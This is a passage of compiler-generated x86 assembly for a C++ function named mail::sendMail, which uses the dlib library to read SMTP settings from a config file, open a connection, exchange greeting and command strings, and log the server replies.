tv770 = -1192 ; size = 4
tv76 = -1188 ; size = 4
tv769 = -1184 ; size = 4
tv768 = -1180 ; size = 4
$T369524 = -1173 ; size = 1
$T369523 = -1172 ; size = 4
$T369522 = -1168 ; size = 4
$T369521 = -1164 ; size = 4
$T369520 = -1157 ; size = 1
$T369519 = -1156 ; size = 4
$T369518 = -1149 ; size = 1
$T369517 = -1148 ; size = 4
$T369516 = -1141 ; size = 1
$T369515 = -1140 ; size = 4
$T369514 = -1133 ; size = 1
$T369513 = -1132 ; size = 4
$T369512 = -1125 ; size = 1
$T369511 = -1124 ; size = 4
$T369510 = -1120 ; size = 4
$T369509 = -1113 ; size = 1
$T369508 = -1112 ; size = 4
$T369507 = -1108 ; size = 4
_e$151744 = -1104 ; size = 4
_smtp_address$151623 = -1100 ; size = 28
_con$151653 = -1072 ; size = 4
_tmpStr$151622 = -1068 ; size = 28
_sBuffer$151621 = -1040 ; size = 256
_config$151618 = -784 ; size = 116
$T151739 = -664 ; size = 28
$T151730 = -636 ; size = 28
$T151724 = -608 ; size = 28
$T151720 = -580 ; size = 28
$T151719 = -552 ; size = 28
$T151716 = -524 ; size = 28
$T151715 = -496 ; size = 28
$T151712 = -468 ; size = 28
$T151711 = -440 ; size = 28
$T151706 = -412 ; size = 28
$T151697 = -384 ; size = 28
$T151691 = -356 ; size = 28
$T151690 = -328 ; size = 28
$T151685 = -300 ; size = 28
$T151675 = -272 ; size = 28
$T151674 = -244 ; size = 28
$T151669 = -216 ; size = 28
$T151656 = -188 ; size = 28
$T151634 = -160 ; size = 28
$T151633 = -132 ; size = 28
$T151625 = -104 ; size = 28
$T151624 = -76 ; size = 28
$T151619 = -48 ; size = 28
__$ArrayPad$ = -20 ; size = 4
__$EHRec$ = -16 ; size = 16
_to$ = 8 ; size = 28
_subject$ = 36 ; size = 28
_msg$ = 64 ; size = 28
?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z PROC ; mail::sendMail, COMDAT
; Line 24
push ebp
mov ebp, esp
push -1
push __ehhandler$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z
mov eax, DWORD PTR fs:0
push eax
push ecx
sub esp, 1400 ; 00000578H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
push ebx
push esi
push edi
push eax
lea eax, DWORD PTR __$EHRec$[ebp+4]
mov DWORD PTR fs:0, eax
mov DWORD PTR __$EHRec$[ebp], esp
mov DWORD PTR __$EHRec$[ebp+12], 2
; Line 26
mov BYTE PTR __$EHRec$[ebp+12], 3
; Line 27
push OFFSET $SG-68214
lea ecx, DWORD PTR $T151619[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv768[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 4
lea eax, DWORD PTR $T151619[ebp]
push eax
lea ecx, DWORD PTR _config$151618[ebp]
call ??0?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
mov DWORD PTR tv769[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR $T151619[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 30
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 7
push OFFSET $SG-68216
lea ecx, DWORD PTR $T151625[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv76[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 8
push OFFSET $SG-68215
lea ecx, DWORD PTR $T151624[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv770[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 9
lea ecx, DWORD PTR $T151624[ebp]
push ecx
lea ecx, DWORD PTR _config$151618[ebp]
call ?block@?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::block
mov DWORD PTR tv771[ebp], eax
lea edx, DWORD PTR $T151625[ebp]
push edx
mov ecx, DWORD PTR tv771[ebp]
call ??A?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV23@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::operator[]
mov DWORD PTR tv772[ebp], eax
mov eax, DWORD PTR tv772[ebp]
push eax
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv773[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 11 ; 0000000bH
lea ecx, DWORD PTR $T151624[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR $T151625[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 33
push OFFSET $SG-68218
lea ecx, DWORD PTR $T151634[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv774[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 13 ; 0000000dH
push OFFSET $SG-68217
lea ecx, DWORD PTR $T151633[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv775[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 14 ; 0000000eH
lea ecx, DWORD PTR $T151633[ebp]
push ecx
lea ecx, DWORD PTR _config$151618[ebp]
call ?block@?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::block
mov DWORD PTR tv776[ebp], eax
lea edx, DWORD PTR $T151634[ebp]
push edx
mov ecx, DWORD PTR tv776[ebp]
call ??A?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV23@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::operator[]
mov DWORD PTR tv777[ebp], eax
mov eax, DWORD PTR tv777[ebp]
push eax
call ??$string_cast@GDU?$char_traits@D@std@@V?$allocator@D@2@@dlib@@YA?BGABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::string_cast<unsigned short,char,std::char_traits<char>,std::allocator<char> >
add esp, 4
mov WORD PTR tv778[ebp], ax
movzx ecx, WORD PTR tv778[ebp]
push ecx
lea edx, DWORD PTR _smtp_address$151623[ebp]
push edx
call ?connect@dlib@@YAPAVconnection@1@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@G@Z ; dlib::connect
add esp, 8
mov DWORD PTR tv779[ebp], eax
mov eax, DWORD PTR tv779[ebp]
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??0?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@PAVconnection@1@@Z ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 16 ; 00000010H
lea ecx, DWORD PTR $T151633[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151634[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 36
push 1000 ; 000003e8H
push 256 ; 00000100H
lea ecx, DWORD PTR _sBuffer$151621[ebp]
push ecx
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 37
push OFFSET $SG-68219
push OFFSET $SG-68220
lea ecx, DWORD PTR $T151656[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv129[ebp], eax
mov edx, DWORD PTR tv129[ebp]
mov DWORD PTR tv655[ebp], edx
mov BYTE PTR __$EHRec$[ebp+12], 18 ; 00000012H
sub esp, 28 ; 0000001cH
mov eax, esp
mov DWORD PTR $T369507[ebp], esp
lea ecx, DWORD PTR _sBuffer$151621[ebp]
push ecx
mov edx, DWORD PTR tv655[ebp]
push edx
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv658[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151656[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 40
push OFFSET $SG-68221
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator=
; Line 41
push OFFSET $SG-68222
sub esp, 28 ; 0000001cH
mov eax, esp
mov DWORD PTR $T369508[ebp], esp
lea ecx, DWORD PTR _tmpStr$151622[ebp]
push ecx
push OFFSET $SG-68223
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv661[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
; Line 42
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
mov esi, eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write
cmp eax, esi
je SHORT $LN6@sendMail
; Line 43
mov BYTE PTR $T369509[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR _con$151653[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 3
lea ecx, DWORD PTR _config$151618[ebp]
call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
mov BYTE PTR __$EHRec$[ebp+12], 1
lea ecx, DWORD PTR _to$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _subject$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _msg$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369509[ebp]
jmp $LN8@sendMail
$LN6@sendMail:
; Line 45
push 1000 ; 000003e8H
push 256 ; 00000100H
lea edx, DWORD PTR _sBuffer$151621[ebp]
push edx
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 46
push OFFSET $SG-68224
push OFFSET $SG-68225
lea ecx, DWORD PTR $T151669[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv780[ebp], eax
mov eax, DWORD PTR tv780[ebp]
mov DWORD PTR tv670[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 19 ; 00000013H
sub esp, 28 ; 0000001cH
mov ecx, esp
mov DWORD PTR $T369510[ebp], esp
lea edx, DWORD PTR _sBuffer$151621[ebp]
push edx
mov eax, DWORD PTR tv670[ebp]
push eax
push ecx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv673[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151669[ebp]
